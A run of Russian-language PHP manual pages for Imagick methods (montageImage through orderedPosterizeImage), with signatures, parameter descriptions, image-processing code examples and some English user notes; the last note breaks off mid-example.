public Imagick::montageImage(
ImagickDraw $draw,
string $tile_geometry,
string $thumbnail_geometry,
int $mode,
string $frame
): Imagick

Создаёт составное изображение путём объединения нескольких отдельных изображений. Изображения размещаются на составном изображении мозаикой, при этом имя изображения может отображаться сразу под отдельной плиткой.

Список параметров

draw

Название, размер и цвет шрифта берутся из этого объекта.

tile_geometry

Количество плиток в строке и на странице (например, 6x4+0+0).

thumbnail_geometry

Предпочтительный размер изображения и размер границы каждой миниатюры (например, 120x120+4+3).

mode

Режим кадрирования миниатюр, смотрите константы режима кадрирования.

frame

Обведите изображение декоративной рамкой (например, 15x15+3+3). Цвет рамки соответствует матовому цвету эскиза.

Возвращаемые значения

Создаёт составное изображение и возвращает его как новый объект Imagick.

User Contributed Notes

There are no user contributed notes for this page.


Преобразует набор изображений

  • « Imagick::montageImage
  • Imagick::morphology »
  • PHP Manual
  • Imagick
  • Преобразует набор изображений

Imagick::morphImages

(PECL imagick 2, PECL imagick 3)

Imagick::morphImages — Преобразует набор изображений

Описание

public Imagick::morphImages(int $number_frames): Imagick

Преобразует набор изображений. И пиксели изображения, и размер линейно интерполируются, чтобы создать видимость метаморфозы от одного изображения к другому.

Список параметров

number_frames

Количество создаваемых промежуточных изображений.

Возвращаемые значения

Метод возвращает новый объект Imagick в случае успешного выполнения. Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Применяет к изображению ядро, предоставленное пользователем, в соответствии с заданным методом морфологии

  • « Imagick::morphImages
  • Imagick::mosaicImages »
  • PHP Manual
  • Imagick
  • Применяет к изображению ядро, предоставленное пользователем, в соответствии с заданным методом морфологии

Imagick::morphology

(PECL imagick 3 >= 3.3.0)

Imagick::morphology — Применяет к изображению ядро, предоставленное пользователем, в соответствии с заданным методом морфологии

Описание

public Imagick::morphology(
int $morphologyMethod,
int $iterations,
ImagickKernel $ImagickKernel,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Применяет к изображению ядро, предоставленное пользователем, в соответствии с заданным методом морфологии.

Список параметров

morphologyMethod

Какой метод морфологии использовать: одна из констант \Imagick::MORPHOLOGY_*.

iterations

Количество итераций для применения морфологической функции. Значение -1 означает цикл до тех пор, пока не будет найдено никаких изменений. Как это применяется, может зависеть от метода морфологии. Обычно это значение равно 1.

ImagickKernel

channel

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования метода Convolve Imagick::morphology()

<?php
$imagick = $this->getCharacter();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_GAUSSIAN, "5,1");
$imagick->morphology(\Imagick::MORPHOLOGY_CONVOLVE, 2, $kernel);
header("Content-Type: image/png");
echo $imagick->getImageBlob();

?>

Пример #2 Пример использования метода Correlate Imagick::morphology()

<?php
// Верхний левый пиксель должен быть чёрным.
// Нижний правый пиксель должен быть белым
// На остальное нам всё равно.

$imagick = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromMatrix(self::$correlateMatrix, [2, 2]);
$imagick->morphology(\Imagick::MORPHOLOGY_CORRELATE, 1, $kernel);
header("Content-Type: image/png");
echo $imagick->getImageBlob();

?>

Пример #3 Пример использования метода Erode Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
$canvas->morphology(\Imagick::MORPHOLOGY_ERODE, 2, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #4 Пример использования метода Erode Intensity Imagick::morphology()

<?php
$canvas = $this->getCharacter();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "1");
$canvas->morphology(\Imagick::MORPHOLOGY_ERODE_INTENSITY, 2, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #5 Пример использования метода Dilate Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
$canvas->morphology(\Imagick::MORPHOLOGY_DILATE, 4, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #6 Пример использования метода Dilate intensity Imagick::morphology()

<?php
$canvas = $this->getCharacter();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "1");
$canvas->morphology(\Imagick::MORPHOLOGY_DILATE_INTENSITY, 4, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #7 Пример использования метода Distance с ядром Chebyshev Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_CHEBYSHEV, "3");
$canvas->morphology(\Imagick::MORPHOLOGY_DISTANCE, 3, $kernel);
$canvas->autoLevelImage();
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #8 Пример использования метода Distance с ядром Manhattan Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_MANHATTAN, "5");
$canvas->morphology(\Imagick::MORPHOLOGY_DISTANCE, 3, $kernel);
$canvas->autoLevelImage();
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #9 Пример использования метода Distance с ядром ocatagonal Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGONAL, "5");
$canvas->morphology(\Imagick::MORPHOLOGY_DISTANCE, 3, $kernel);
$canvas->autoLevelImage();
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #10 Пример использования метода Distance с ядром Euclidean Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_EUCLIDEAN, "4");
$canvas->morphology(\Imagick::MORPHOLOGY_DISTANCE, 3, $kernel);
$canvas->autoLevelImage();
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #11 Пример использования метода Edge Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
$canvas->morphology(\Imagick::MORPHOLOGY_EDGE, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #12 Пример использования метода Open Imagick::morphology()

<?php
// В результате вы увидите, что "Open" сглаживает контур, округляя все острые точки, и удаляет все части, которые меньше используемой формы.
// Он также отключит или откроет любые тонкие мосты.
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "6");
$canvas->morphology(\Imagick::MORPHOLOGY_OPEN, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #13 Пример использования метода Open intensity Imagick::morphology()

<?php
// В результате вы увидите, что "Open" сглаживает контур, округляя все острые точки, и удаляет все части, которые меньше используемой формы.
// Он также отключит или откроет любые тонкие мосты.

$canvas = $this->getCharacter();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "6");
$canvas->morphology(\Imagick::MORPHOLOGY_OPEN_INTENSITY, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #14 Пример использования метода Close Imagick::morphology()

<?php
// Основное использование метода "Close" - уменьшить или удалить любые дыры или пробелы в размере Структурного элемента ядра.
// Это "близкие" части фона примерно такого размера.
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "6");
$canvas->morphology(\Imagick::MORPHOLOGY_CLOSE, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #15 Пример использования метода Close Intensity Imagick::morphology()

<?php
// Основное использование метода "Close" - уменьшить или удалить любые дыры или пробелы в размере Структурного элемента ядра.
// Это "близкие" части фона примерно такого размера.
$canvas = $this->getCharacter();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "6");
$canvas->morphology(\Imagick::MORPHOLOGY_CLOSE_INTENSITY, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #16 Пример использования метода Smooth Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
$canvas->morphology(\Imagick::MORPHOLOGY_SMOOTH, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #17 Пример использования метода Edge in Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
$canvas->morphology(\Imagick::MORPHOLOGY_EDGE_IN, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #18 Пример использования метода Edge out Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
$canvas->morphology(\Imagick::MORPHOLOGY_EDGE_OUT, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #19 Метод "TopHat", или, точнее, "White TopHat", возвращает пиксели, которые были удалены открытием фигуры, то есть пиксели, которые были удалены для округления точек, и соединение, соединённое мостом между фигурами. Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "5");
$canvas->morphology(\Imagick::MORPHOLOGY_TOP_HAT, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #20 Метод "TopHat", или, точнее, "Black TopHat", возвращает пиксели, которые были удалены закрытием фигуры, то есть пиксели, которые использовались для заполнения дыр, зазоров и мостов. Imagick::morphology()

<?php

$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "5");
$canvas->morphology(\Imagick::MORPHOLOGY_BOTTOM_HAT, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #21 Пример использования метода Hit и Miss Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
// Находит все пиксели с 3 пикселями правого края
$matrix = [[1, false, false, 0]];
$kernel = \ImagickKernel::fromMatrix(
$matrix,
[0, 0]
);
$canvas->morphology(\Imagick::MORPHOLOGY_HIT_AND_MISS, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #22 Пример использования метода Thinning Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$leftEdgeKernel = \ImagickKernel::fromMatrix([[0, 1]], [1, 0]);
$rightEdgeKernel = \ImagickKernel::fromMatrix([[1, 0]], [0, 0]);
$leftEdgeKernel->addKernel($rightEdgeKernel);

$canvas->morphology(\Imagick::MORPHOLOGY_THINNING, 3, $leftEdgeKernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #23 Пример использования метода Thicken Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$leftEdgeKernel = \ImagickKernel::fromMatrix([[0, 1]], [1, 0]);
$rightEdgeKernel = \ImagickKernel::fromMatrix([[1, 0]], [0, 0]);
$leftEdgeKernel->addKernel($rightEdgeKernel);

$canvas->morphology(\Imagick::MORPHOLOGY_THICKEN, 3, $leftEdgeKernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #24 Пример использования метода Thick для создания выпуклой оболочки Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$diamondKernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DIAMOND, "1");
$convexKernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_CONVEX_HULL, "");

// Утолщённая морфология не справляется с небольшими зазорами.
// Закрываем их близкой морфологией.
$canvas->morphology(\Imagick::MORPHOLOGY_CLOSE, 1, $diamondKernel);
$canvas->morphology(\Imagick::MORPHOLOGY_THICKEN, -1, $convexKernel);
$canvas->morphology(\Imagick::MORPHOLOGY_CLOSE, 1, $diamondKernel);

header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #25 Пример использования метода Iterative morphology Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "2");
$canvas->morphology(\Imagick::MORPHOLOGY_ITERATIVE, 3, $kernel);
$canvas->autoLevelImage();
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Пример #26 Пример использования вспомогательной функции для получения силуэта изображения Imagick::morphology()

<?php

function getCharacterOutline() {
$imagick = new \Imagick(realpath("./images/character.png"));
$character = new \Imagick();
$character->newPseudoImage(
$imagick->getImageWidth(),
$imagick->getImageHeight(),
"canvas:white"
);
$canvas = new \Imagick();
$canvas->newPseudoImage(
$imagick->getImageWidth(),
$imagick->getImageHeight(),
"canvas:black"
);

$character->compositeimage(
$imagick,
\Imagick::COMPOSITE_COPYOPACITY,
0, 0
);
$canvas->compositeimage(
$character,
\Imagick::COMPOSITE_ATOP,
0, 0
);
$canvas->setFormat('png');

return $canvas;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Формирует мозаику из изображений

  • « Imagick::morphology
  • Imagick::motionBlurImage »
  • PHP Manual
  • Imagick
  • Формирует мозаику из изображений

Imagick::mosaicImages

(PECL imagick 2, PECL imagick 3)

Imagick::mosaicImages — Формирует мозаику из изображений

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::mosaicImages(): Imagick

Выкладывает мозаику из последовательности изображений, чтобы сформировать единое связное изображение. Возвращает палочку с каждым изображением в последовательности, составленным в месте, определённом смещением страницы изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Имитирует размытие в движении

  • « Imagick::mosaicImages
  • Imagick::negateImage »
  • PHP Manual
  • Imagick
  • Имитирует размытие в движении

Imagick::motionBlurImage

(PECL imagick 2, PECL imagick 3)

Imagick::motionBlurImage — Имитирует размытие в движении

Описание

public Imagick::motionBlurImage(
float $radius,
float $sigma,
float $angle,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Имитирует размытие в движении. Сворачивает изображение с помощью гауссовского оператора заданного радиуса и стандартного отклонения (сигма). Для получения разумных результатов радиус должен быть больше сигмы. Используйте радиус 0, и MotionBlurImage() выберет подходящий радиус самостоятельно. Угол задаёт угол размытия движения.

Список параметров

radius

Радиус гауссианы в пикселях, не считая центрального пикселя.

sigma

Стандартное отклонение Гаусса в пикселях.

angle

Применение эффекта под этим углом.

channel

Укажите любую константу канала, которая действительна для вашего режима канала. Чтобы применить более чем к одному каналу, объедините константы типа канала с помощью побитовых операторов. Обратитесь к списку констант канала. Аргумент канала влияет только в том случае, если Imagick скомпилирован с ImageMagick версии 6.4.4 или выше.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::motionBlurImage()

<?php
function motionBlurImage($imagePath, $radius, $sigma, $angle, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->motionBlurImage($radius, $sigma, $angle, $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Инвертирует цвета в эталонном изображении

  • « Imagick::motionBlurImage
  • Imagick::newImage »
  • PHP Manual
  • Imagick
  • Инвертирует цвета в эталонном изображении

Imagick::negateImage

(PECL imagick 2, PECL imagick 3)

Imagick::negateImage — Инвертирует цвета в эталонном изображении

Описание

public Imagick::negateImage(bool $gray, int $channel = Imagick::CHANNEL_DEFAULT): bool

Инвертирует цвета в эталонном изображении. Параметр Grayscale означает, что в изображении инвертируются только значения оттенков серого.

Список параметров

gray

Определяет, нужно ли инвертировать только пиксели в оттенках серого в изображении.

channel

Укажите любую константу CHANNEL, которая подходит для заданного режима канала. Для применения более чем к одному каналу необходимо объединить константы типа CHANNEL с помощью побитовых операторов. Обратитесь к этому списку констант CHANNEL.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::negateImage()

<?php
function negateImage($imagePath, $grayOnly, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->negateImage($grayOnly, $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новое изображение

  • « Imagick::negateImage
  • Imagick::newPseudoImage »
  • PHP Manual
  • Imagick
  • Создаёт новое изображение

Imagick::newImage

(PECL imagick 2, PECL imagick 3)

Imagick::newImage — Создаёт новое изображение

Описание

public Imagick::newImage(
int $cols,
int $rows,
mixed $background,
string $format = ?
): bool

Создаёт новое изображение и связывает значение ImagickPixel в качестве цвета фона

Список параметров

cols

Столбцы в новом изображении

rows

Строки в новом изображении

background

Цвет фона, используемый для этого изображения

format

Формат изображения. Этот параметр был добавлен в Imagick версии 2.0.1.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Теперь допускается строка, представляющая цвет, в качестве третьего параметра. Ранее допускался только объект ImagickPixel.

Примеры

Пример #1 Пример использования Imagick::newImage():

Создание нового изображения и его отображение.

<?php

$image = new Imagick();
$image->newImage(100, 100, new ImagickPixel('red'));
$image->setImageFormat('png');

header('Content-type: image/png');
echo $image;

?>

User Contributed Notes

Eduard Sukharev 18-Aug-2016 04:39
It's not obvious and may be related only to some specific versions of ImageMagick (tested only for 6.7.7 and 6.8.9), but $cols and $rows must be a positive non-zero value.

<?php

$image = new Imagick();
$image->newImage(0, 100, new ImagickPixel('red'));
$image->setImageFormat('png');

file_put_contents('image.png', $image);
?>

In this case imagemagick will crash without throwing any exception and you'll get something along the lines (in your apache error log or console output):

    unable to acquire cache view `No such file or directory' @ fatal/cache-view.c/AcquireAuthenticCacheView/121.

This might be the case when you calculate $cols and $rows (say, based on user input and predefined target image DPI):

<?php

$image = new Imagick();
$img->newImage($userInput->getWidth() * $defaultPpi, $userInput->getHeight() * $defaultPpi, new ImagickPixel('white'));
?>

In this case if user requested image with 0.006 width (in inches), the code would work for $defaultPpi = 300 ppi, but would crash for
$defaultPpi = 72 ppi
jfalner1 at gmail dot com 07-Apr-2015 06:17
As it isn't obvious, the cols and rows arguments correspond to the width and height of the new image, expressed in pixels.  Example #1 would generate a 100 pixel by 100 pixel image.
christian dot reinecke at web dot de 23-Jun-2009 04:35
The color value (3rd argument) for transparency is "none".


Создаёт новое изображение

  • « Imagick::newImage
  • Imagick::nextImage »
  • PHP Manual
  • Imagick
  • Создаёт новое изображение

Imagick::newPseudoImage

(PECL imagick 2, PECL imagick 3)

Imagick::newPseudoImage — Создаёт новое изображение

Описание

public Imagick::newPseudoImage(int $columns, int $rows, string $pseudoString): bool

Создаёт новое изображение с использованием псевдоформатов ImageMagick.

Список параметров

columns

Столбцы в новом изображении.

rows

Строки в новом изображении.

pseudoString

Строка, содержащая определение псевдоизображения.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::newPseudoImage()

<?php
function newPseudoImage($canvasType) {
$imagick = new \Imagick();
$imagick->newPseudoImage(300, 300, $canvasType);
$imagick->setImageFormat("png");
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

//newPseudoImage('gradient:red-rgba(64, 255, 255, 0.5)');
//newPseudoImage("radial-gradient:red-blue");
newPseudoImage("plasma:fractal");

?>

User Contributed Notes

Pekka Jrvinen 22-Jul-2010 06:47
See http://www.imagemagick.org/script/formats.php for pseudoString parameter


Переходит к следующему изображению

  • « Imagick::newPseudoImage
  • Imagick::normalizeImage »
  • PHP Manual
  • Imagick
  • Переходит к следующему изображению

Imagick::nextImage

(PECL imagick 2, PECL imagick 3)

Imagick::nextImage — Переходит к следующему изображению

Описание

public Imagick::nextImage(): bool

Связывает следующее изображение в списке изображений с объектом Imagick.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

simonjjarrett at gmail dot com 24-Mar-2020 01:02
The following function applies a callback to each image in an Imagick object.

<?php
function imagickMap($callback, $im)
{
    $im->setFirstIterator();

    do
    {
        $callback($im);
    }
    while ( $im->nextImage() );
}
?>

E.g. to convert a series of images to grayscale:

<?php
imagickMap(
    function($im)
    {
        $im->setImageType(Imagick::IMGTYPE_GRAYSCALEMATTE);
    },
    $im
);
?>
markus dot s dot schmitz at gmail dot com 11-Dec-2012 10:46
Convert PDF to JPG page-wise:

<?php
$i = 0;

$imagick = new Imagick();
$imagick->readImage('myfile.pdf');
while($imagick->hasNextImage()) {
    $imagick->writeImage(++$i.'-converted.jpg', false);
    $imagick->nextImage();
}
?>

See also: http://php.net/manual/en/imagick.readimage.php


Повышает контрастность цветного изображения

  • « Imagick::nextImage
  • Imagick::oilPaintImage »
  • PHP Manual
  • Imagick
  • Повышает контрастность цветного изображения

Imagick::normalizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::normalizeImage — Повышает контрастность цветного изображения

Описание

public Imagick::normalizeImage(int $channel = Imagick::CHANNEL_DEFAULT): bool

Повышает контрастность цветного изображения, регулируя цвет пикселей для охвата всего диапазона доступных цветов.

Список параметров

channel

Укажите любую константу CHANNEL, которая подходит для заданного режима канала. Для применения более чем к одному каналу необходимо объединить константы типа CHANNEL с помощью побитовых операторов. Обратитесь к этому списку констант CHANNEL.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::normalizeImage()

<?php
function normalizeImage($imagePath, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$original = clone $imagick;
$original->cropimage($original->getImageWidth() / 2, $original->getImageHeight(), 0, 0);
$imagick->normalizeImage($channel);
$imagick->compositeimage($original, \Imagick::COMPOSITE_ATOP, 0, 0);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Имитирует картину маслом

  • « Imagick::normalizeImage
  • Imagick::opaquePaintImage »
  • PHP Manual
  • Imagick
  • Имитирует картину маслом

Imagick::oilPaintImage

(PECL imagick 2, PECL imagick 3)

Imagick::oilPaintImage — Имитирует картину маслом

Описание

public Imagick::oilPaintImage(float $radius): bool

Применяет фильтр со специальным эффектом, имитирующий картину маслом. Каждый пиксель заменяется наиболее часто встречающимся цветом в круговой области, определяемой радиусом.

Список параметров

radius

Радиус круговой области.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::oilPaintImage()

<?php
function oilPaintImage($imagePath, $radius) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->oilPaintImage($radius);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Изменяет значение цвета любого пикселя, соответствующего целевому

  • « Imagick::oilPaintImage
  • Imagick::optimizeImageLayers »
  • PHP Manual
  • Imagick
  • Изменяет значение цвета любого пикселя, соответствующего целевому

Imagick::opaquePaintImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::opaquePaintImage — Изменяет значение цвета любого пикселя, соответствующего целевому

Описание

public Imagick::opaquePaintImage(
mixed $target,
mixed $fill,
float $fuzz,
bool $invert,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Изменяет любой пиксель, соответствующий цвету, на цвет, определённый заливкой. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.8 или старше.

Список параметров

target

Объект ImagickPixel или строка, содержащая цвет, который нужно изменить

fill

Цвет замены

fuzz

Мера округления (fuzz). Для примера, установите значение fuzz в 10 и красный цвет с интенсивностью 100 и 102 будет интерпретироваться как один и тот же цвет.

invert

Если true закрашивается любой пиксель, не соответствующий целевому цвету.

channel

Передайте любую корректную для вашего режима канала константу. Для применения к более чем одному каналу, комбинируйте константы каналов с помощью побитовых операторов. По умолчанию равно Imagick::CHANNEL_DEFAULT. Обратитесь к списку констант каналов

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет повторяющиеся части изображений для оптимизации

  • « Imagick::opaquePaintImage
  • Imagick::orderedPosterizeImage »
  • PHP Manual
  • Imagick
  • Удаляет повторяющиеся части изображений для оптимизации

Imagick::optimizeImageLayers

(PECL imagick 2, PECL imagick 3)

Imagick::optimizeImageLayers — Удаляет повторяющиеся части изображений для оптимизации

Описание

public Imagick::optimizeImageLayers(): bool

Сравнивает каждое изображение, расположенное в формате GIF, с предыдущим изображением в последовательности. Исходя из этого, функция пытается выбрать наименьшее обрезанное изображение для замены каждого кадра, сохраняя при этом результаты анимации. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::optimizeImageLayers()

Чтение, оптимизация и запись изображения в формате GIF

<?php
/* создание нового объекта imagick */
$im = new Imagick("test.gif");

/* оптимизация слоёв изображения */
$im->optimizeImageLayers();

/* запись изображения обратно */
$im->writeImages("test_optimized.gif", true);
?>

Смотрите также

  • Imagick::compareImageLayers() - Возвращает максимальную ограничивающую область между изображениями
  • Imagick::writeImages() - Записывает изображение или последовательность изображений
  • Imagick::writeImage() - Записывает изображение по указанному имени файла

User Contributed Notes

f21 dot groups at gmail dot com 16-Jun-2013 02:37
In imagick 3.x (have not checked 2.x), this returns an imagemagick object and not a boolean.

<?php

$image = new Imagick('myanimation.gif');

$image = $image->optimizeImageLayers(); //Does not return a boolean!

$image->writeImage('optimized.gif');


Выполняет упорядоченный дизеринг

  • « Imagick::optimizeImageLayers
  • Imagick::paintFloodfillImage »
  • PHP Manual
  • Imagick
  • Выполняет упорядоченный дизеринг

Imagick::orderedPosterizeImage

(PECL imagick 2 >= 2.2.2, PECL imagick 3)

Imagick::orderedPosterizeImage — Выполняет упорядоченный дизеринг

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::orderedPosterizeImage(string $threshold_map, int $channel = Imagick::CHANNEL_DEFAULT): bool

Выполняет упорядоченный дизеринг на основе ряда предопределённых карт пороговых значений дизеринга, но с несколькими уровнями интенсивности, которые могут быть разными для разных каналов в соответствии с входными аргументами. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.1 или старше.

Список параметров

threshold_map

Строка, содержащая имя используемой карты порогового дизеринга.

channel

Укажите любую константу канала, которая действительна для вашего режима канала. Чтобы применить более чем к одному каналу, объедините константы типа канала с помощью побитовых операторов. Обратитесь к списку констант канала.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::orderedPosterizeImage()

<?php
function orderedPosterizeImage($imagePath, $orderedPosterizeType) {
$imagick = new \Imagick(realpath($imagePath));

$imagick->orderedPosterizeImage($orderedPosterizeType);
$imagick->setImageFormat('png');

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

//orderedPosterizeImage($imagePath, 'o4x4,3,3');
//orderedPosterizeImage($imagePath, 'o8x8,6,6');
orderedPosterizeImage($imagePath, 'h8x8a');
?>

User Contributed Notes

holdoffhunger at gmail dot com 24-Apr-2012 12:39
Originally, I thought this function would be similar to the Posterize function, or at least, any one of the Imagick class functions that produces an artistic effect (like the oilPaintImage function).  This function can be used for those purposes, but it is mostly geared toward print production.  The OrderedPosterize is simply a highly flexible dithering tool.  The intention essentially is to produce high-resolution imagery by means of using constant dots across a medium that vary in size according to the detail of the imagery.  Everyone has seen a dithered photograph inside of a newspaper, but the wiki page provides better examples: http://en.wikipedia.org/wiki/Dither .

The two parameters are unusual to someone who simply wants to get the use of this function without fussing too much about the Imagick class.

First parameter: The threshold_map is a set of "brushes" predefined by a very simple xml file.  They are: threshold, checks, o2x2, o3x3, o4x4, o8x8, h4x4a, h6x6a, h8x8a, h4x4o, h6x6o, h8x8o, h16x16o, c5x5b, c5x5w, c6x6b, c6x6w, c7x7b, and c7x7w.  These are the values you are expected to input as parameters for the Thershold_Map value.  Much better descriptions of these brush shapes available at the Imagick site: http://www.imagemagick.org/Usage/quantize/tmaps_list.txt .

Second parameter: The channel is any of the constants as predefined by the Imagick class.  In the code, the value looks like "imagick::CHANNEL_RED", but you have the "_value" options of: red, undefined, gray, cyan, green, magenta, blue, yellow, alpha, opacity, matte, black, index, all, and default.  More info here: http://www.php.net/manual/en/imagick.constants.php#imagick.constants.channel .

Finally, don't forget you can use bitwise operators on the second parameter.  That means you can use & to AND them, | to OR them, & to XOR them, and ~ to NEGATE them.  A valid parameter for the second parameter would be: "((~imagick::CHANNEL_GREEN) ^ imagick::CHANNEL_YELLOW) | imagick::CHANNEL_MAGENTA)".  You can get extremely creative in this particular parameter.  And if you want to define your own brushes using simple XML, then that's also true of the first parameter, too.

Note:  You can use this function artistically.  How?  Use the orderedPosterizeImage to give the image some texture (a photo of a vase, for instance), and then use your OilPoint, Sketch, or Standard Posterize to give the image a cool effect.  Alone, though, seems pretty boring.

And now, a very simple demonstration :

<?php

            // Author: holdoffhunger@gmail.com

        // Filename
        // ---------------------------------------------

    $file_to_grab_with_location = "graphics_engine/image_workshop_directory/ordered_posterize_source.bmp"

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');

